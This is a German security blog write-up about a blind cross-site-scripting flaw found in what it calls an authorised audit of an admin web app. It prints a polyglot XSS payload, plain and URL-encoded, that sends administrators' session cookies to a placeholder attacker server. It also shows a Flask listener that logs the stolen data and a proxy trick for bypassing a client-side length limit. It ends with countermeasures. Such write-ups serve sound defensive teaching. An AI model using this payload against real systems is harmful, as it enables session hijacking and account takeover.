Write-up · Blind Cross-Site-Scripting (BXSS)

Blind Cross-Site-Scripting in der Praxis: Wie eine Polyglot-Payload administrative Sessions kompromittiert

Cross-Site-Scripting gehört zu den ältesten und hartnäckigsten Schwachstellen im Web. Besonders tückisch ist die „blinde" Variante – Blind XSS –, weil der Angreifer die Ausführung seines Codes nicht unmittelbar beobachten kann. Dieser Beitrag zeigt anhand eines realen Testszenarios, wie eine solche Lücke aufgespürt und nachgewiesen wird.

Veröffentlicht: 04.01.2025 · Lesezeit: 8 Min · Autor: Niclas Zillmanns

Hinweis: Der beschriebene Test wurde im Rahmen eines autorisierten Sicherheitsaudits durchgeführt. Sämtliche Bezüge zum konkreten Auftraggeber und System wurden entfernt; wir sprechen durchgehend von einer generischen webbasierten Verwaltungsanwendung. Die gezeigten Techniken dienen ausschließlich der Aufklärung und der Verbesserung der Anwendungssicherheit.

Was ist Blind XSS?

Bei einer klassischen (reflektierten oder gespeicherten) XSS-Schwachstelle sieht der Angreifer das Ergebnis seiner Injektion sofort. Bei Blind XSS landet die Payload dagegen in einem Kontext, der erst später und an anderer Stelle gerendert wird – typischerweise in einem administrativen Backend, zu dem der Angreifer selbst keinen Zugang hat. Der Schadcode wird also erst dann ausgeführt, wenn ein Administrator die manipulierte Ansicht öffnet. Genau diese Verzögerung macht BXSS so gefährlich: Die Lücke bleibt lange unentdeckt und trifft ausgerechnet privilegierte Benutzer.

Das Zielszenario

Die untersuchte Anwendung bietet eine Verwaltungsoberfläche für sogenannte Endpoints (Endpunkte). Administratoren können dort für verschiedene Umgebungen – etwa Development, PreLive oder Production – Ziel-URLs hinterlegen und speichern.

Der entscheidende Punkt: Diese eingegebenen Daten werden später in administrativen Ansichten dargestellt. Werden sie dabei ohne ausreichende Filterung oder Output-Encoding gerendert, lässt sich darüber JavaScript-Code im Browser eines Administrators ausführen. Da der Angreifer keinen Zugriff auf die administrativen Bereiche hat und die Ausführung nicht direkt beobachten kann, handelt es sich um eine blinde XSS.

Aufbau der Polyglot-Payload

Für den Nachweis kommt eine Polyglot-Payload zum Einsatz. Ihr Vorteil: Sie ist so konstruiert, dass sie in möglichst vielen unterschiedlichen HTML-, JavaScript- und Attribut-Kontexten funktioniert – man muss also nicht vorher wissen, wie genau die Eingabe später eingebettet wird.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!><script>
const img = new Image();
img.src = 'http://<ANGREIFER-SERVER>:5000/log?cookie=' + document.cookie
          + '&url=' + encodeURIComponent(window.location.href);
</script><sVg/oNloAd=alert()//>\x3e

Die einzelnen Bausteine im Detail:

  1. jaVasCript: — Leitet die Payload ein und signalisiert dem Browser, den folgenden Inhalt als JavaScript zu interpretieren. Die gemischte Groß-/Kleinschreibung („jaVasCript") umgeht einfache Filter, die nur nach der exakten Zeichenkette suchen.
  2. Kommentarsymbole (/*, */) — Strategisch platziert, um Filter und Pattern-Matching zu erschweren. Sie zerlegen die Payload optisch in Fragmente, sodass die bösartige Gesamtzeichenkette schwerer als solche erkannt wird.
  3. Event-Handler oNcliCk=alert() — Ein direkt eingebetteter Event-Handler als Trigger für eine alert()-Funktion. alert() ist die klassische, harmlose Testmethode, um überhaupt zu belegen, dass JavaScript zur Ausführung kommt.
  4. Mehrere Tag-Beendigungen (</stYle>, </titLe>, </teXtarEa>, </scRipt>) — Diese Kombination bricht bewusst verschiedene mögliche HTML-Kontexte auf. Landet die Eingabe etwa innerhalb eines <textarea>, <title>, <style> oder <script>-Blocks, sorgt die passende Beendigung dafür, dass der nachfolgende Code aus diesem Kontext „ausbricht".
  5. SVG mit Event-Handler (<sVg oNloAd=alert()>) — Das onload-Event eines SVG-Elements ist ein weiterer bewährter Auslöser für XSS und greift auch dort, wo klassische <script>-Tags gefiltert werden.

Der eigentliche Schadcode

Das Herzstück der Payload ist dieser JavaScript-Abschnitt:

<script>
const img = new Image();
img.src = 'http://<ANGREIFER-SERVER>:5000/log?cookie=' + document.cookie
          + '&url=' + encodeURIComponent(window.location.href);
</script>

Er überträgt vertrauliche Informationen – insbesondere die Session-Cookies – an einen kontrollierten Server. Funktionsweise Schritt für Schritt:

  1. Bildobjekt erstellen: const img = new Image(); erzeugt ein Bildobjekt im Speicher, das nie sichtbar dargestellt wird. Es dient ausschließlich als Vehikel, um eine HTTP-Anfrage abzusetzen.
  2. Bildquelle setzen (img.src): Sobald die src-Eigenschaft gesetzt wird, sendet der Browser automatisch eine GET-Anfrage an die angegebene URL. document.cookie liefert die Cookies der aktuellen Website (potenziell inklusive Session-Token), window.location.href die vollständige URL der aufgerufenen Seite – mit encodeURIComponent() sauber kodiert.

Beide Werte werden als URL-Parameter angehängt und so an den Server des Angreifers übertragen – ganz ohne sichtbare Interaktion.

Umsetzung Schritt für Schritt

1. Eingabe eines Platzhalters

Zunächst wird ein harmloser String – etwa https://google.com – in das Eingabefeld eingetragen und gespeichert. Der konkrete Inhalt ist an dieser Stelle irrelevant: Die Benutzeroberfläche begrenzt die Eingabe clientseitig auf 30 Zeichen, weshalb die eigentliche Payload nicht direkt im Formular untergebracht werden kann. Der Platzhalter dient nur dazu, die spätere Anfrage zu erzeugen.

2. Abfangen der Anfrage mit einem Proxy

Beim Klick auf Save sendet die Anwendung eine POST-Anfrage mit dem eingegebenen String und den zugehörigen Umgebungsparametern. Diese Anfrage lässt sich mit einem Intercepting-Proxy wie OWASP ZAP (Zed Attack Proxy) abfangen und untersuchen. Der Proxy agiert dabei als „Man-in-the-Middle" zwischen Client und Server und erlaubt das Abfangen, Analysieren und Manipulieren von HTTP-Anfragen.

Der entscheidende Trick: Die clientseitige Zeichenlängen-Beschränkung greift nur im Browser-Formular. In der abgefangenen Anfrage kann der Wert beliebig – und beliebig lang – ersetzt werden.

3. Einsetzen der URL-kodierten Payload

Da die Payload als Teil einer URL übertragen wird, muss sie zuvor URL-kodiert werden. So werden Sonderzeichen wie Leerzeichen, /, * oder % korrekt interpretiert und die Zeichenkette vollständig und unverändert an den Server übermittelt. Die kodierte Payload sieht so aus:

jaVasCript%3A%2F*-%2F*%60%2F*%5C%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3Cscript%3Econst%20img%20%3D%20new%20Image()%3Bimg.src%20%3D%20%27http%3A%2F%2F<ANGREIFER-SERVER>%3A5000%2Flog%3Fcookie%3D%27%20%2B%20document.cookie%20%2B%20%27%26url%3D%27%20%2B%20encodeURIComponent(window.location.href)%3B%3C%2Fscript%3E%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%5Cx3e

Wird diese Anfrage weitergeleitet, speichert der Server die Zeichenkette. Fehlt beim späteren Rendern das nötige Output-Encoding, interpretiert der Browser des Administrators den Inhalt als regulären JavaScript-Code und führt ihn im DOM aus.

Nachweis der Blind-XSS-Anfälligkeit

  1. Einspeisung der Payload: Die Polyglot-Payload wird über das manipulierte Eingabefeld eingebracht und von der Anwendung gespeichert. Sie ist so gestaltet, dass sie in möglichst vielen Kontexten zündet, sobald sie ohne serverseitige Filterung ausgeliefert wird.
  2. Ausführung des Schadcodes: Ruft ein Administrator die betroffene Ansicht auf und wird die Payload dort ohne Eingabefilter oder Output-Encoding gerendert, führt sein Browser den eingeschleusten Code aus.
  3. Datenübertragung an den Log-Server: Der Code setzt die Bild-Anfrage ab und überträgt Cookies sowie die aktuelle URL als Parameter an den kontrollierten Server.
  4. Bestätigung: Sobald die protokollierten Daten eintreffen, ist der Nachweis erbracht – der JavaScript-Code wurde im Kontext eines Administrators ausgeführt.

Ein minimales Logging-Skript nimmt die Daten entgegen und protokolliert sie zu Dokumentationszwecken:

from flask import Flask, request

app = Flask(__name__)

@app.route('/log', methods=['GET'])
def log_xss_data():
    cookie = request.args.get('cookie')
    url = request.args.get('url')

    print(f"Cookie: {cookie}")
    print(f"URL: {url}")

    return "Logged", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
Hinweis: Wir zeigen nur so viel, wie zur Verifikation nötig ist. Der Callback-Server dient ausschließlich dazu, die erfolgreiche Ausführung zu belegen – nicht dazu, echte Session-Daten zu missbrauchen.

Fazit und Gegenmaßnahmen

Das Szenario zeigt eindrücklich, wie eine scheinbar harmlose Eingabemaske – geschützt lediglich durch eine clientseitige Längenbegrenzung – zu einem vollwertigen Angriffsvektor werden kann. Die wichtigsten Lehren:

  • Clientseitige Validierung ist keine Sicherheit. Längen- und Formatprüfungen im Browser lassen sich mit jedem Proxy trivial umgehen. Validierung muss immer serverseitig erzwungen werden.
  • Kontextabhängiges Output-Encoding ist die zentrale Verteidigung gegen XSS. Jeder Wert, der in HTML, Attribute, JavaScript oder URLs eingebettet wird, muss für genau diesen Kontext kodiert werden.
  • Content-Security-Policy (CSP) erschwert die Ausführung eingeschleusten Codes und das Abfließen von Daten erheblich.
  • HttpOnly-Cookies verhindern, dass document.cookie überhaupt Session-Token preisgibt – ein einfacher, aber wirksamer Schutz gegen genau diese Exfiltration.
  • Blind-XSS-Monitoring (z. B. mit dedizierten Callback-Servern) hilft, solche Lücken proaktiv zu finden, bevor es ein Angreifer tut.

← Zurück zur Blog-Übersicht